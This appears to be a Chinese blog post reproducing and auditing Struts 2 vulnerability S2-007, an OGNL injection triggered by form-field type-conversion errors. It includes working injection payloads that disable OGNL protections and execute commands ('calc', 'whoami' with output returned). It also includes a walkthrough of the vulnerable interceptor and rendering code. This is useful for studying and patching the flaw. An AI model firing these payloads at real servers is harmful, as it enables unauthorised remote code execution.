• 『Java安全』Struts 2.2.3 表单参数类型转换错误OGNL注入漏洞S2-007复现与浅析


    漏洞简介

    对表单参数使用validator验证时,如果遇到类型错误,参数值会先压入参数栈,之后会取出并被二次ognl解析

    影响范围

    Struts 2.0.0 - 2.2.3

    漏洞复现

    环境配置

    validation机制参考:

    https://www.cnblogs.com/BrowserSnake/p/3745445.html

    官网下载对应lib,需要这几个jar:

    在这里插入图片描述
    写一个最简单的action

    在这里插入图片描述
    再写一个表单提交到action

    在这里插入图片描述
    然后创建action,如果输入成功就会显示index内容,输入验证不过则会继续输入,验证未通过的result是input

    在这里插入图片描述
    然后在action的同目录下创建validation,名称是action类名-validation.xml,这里验证表单提交的参数id必须是int型,且范围是[1,10],如果验证不通过返回message的内容,跳转到result input标签所指定的页面,否则返回success

    在这里插入图片描述

    复现过程

    以下是验证:

    '+(111*222)+'
    
    • 1

    在这里插入图片描述
    验证存在后,表单发送:

    '+(#_memberAccess.allowStaticMethodAccess=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec('calc'))+'
    
    • 1

    在这里插入图片描述

    代码审计

    漏洞是由于参数类型转换错误为入口触发的,在xwork中有对于类型转换错误的拦截器ConversionErrorInterceptor
    在这里插入图片描述
    在其intercept方法加断点,首先POST的参数已经在参数栈了

    在这里插入图片描述
    取出错误的参数,放到空map,放入之前先进行了getOverrideExpr()

    在这里插入图片描述
    输入的参数用单引号包裹,因此payload有单引号是利用字符串拼接截断了,然后构建了正常ognl表达式

    在这里插入图片描述
    fakie这个map放到了context

    在这里插入图片描述
    处理完拦截器后之后,数据会填入前台页面,这里在渲染的时候,通过ComponentTagSupport.doEndTag()方法会解析参数,同S2-001

    在这里插入图片描述
    首先解析出变量名

    在这里插入图片描述
    然后解析变量值

    在这里插入图片描述
    获取值的类型是String,然后把参数名包裹成OGNL表达式,通过OGNL解析来获取值以供渲染用

    在这里插入图片描述
    ognl解析都是复用util的代码

    在这里插入图片描述
    来到tryFindValue,expr会变成参数值,然后调用getValue

    在这里插入图片描述
    最终调用Ognl.getValue()解析单引号截断的表达式,完成注入
    在这里插入图片描述
    由于类型转换错误以及自定义validator错误,全部都渲染到模板上了,开发者这一步是为了提供一个重新输入的功能,返回到result的name是input

    在这里插入图片描述

    流程

    • 用单引号和加号包裹payload,'+(xxx)+'
    • 开启allowStaticMethodAccess(可选)
    • 关闭denyMethodExecution

    利用

    由于S2自带了commons-io,方便了执行任意命令

    '+(#_memberAccess.allowStaticMethodAccess=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))+'
    
    • 1

    参考

    https://cwiki.apache.org/confluence/display/WW/S2-007

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://blog.csdn.net/Xxy605/article/details/126505065
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    跨境专线物流都有哪些专线
    Java学习笔记5.2.1 List接口 - ArrayList类
    抽象类和接口(Abstract and Interface)精湛细节
    字符串转数字, 数字转字符串
    SpringMVC基础篇(二)
    AI全栈大模型工程师(八)Plugins 开发
    【JavaEE】Spring Boot MyBatis详解(一)
    volatile关键字是干什么的?他是怎样实现的?
    SQL注入
    Ladder Side-Tuning:预训练模型的“过墙梯”
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126505065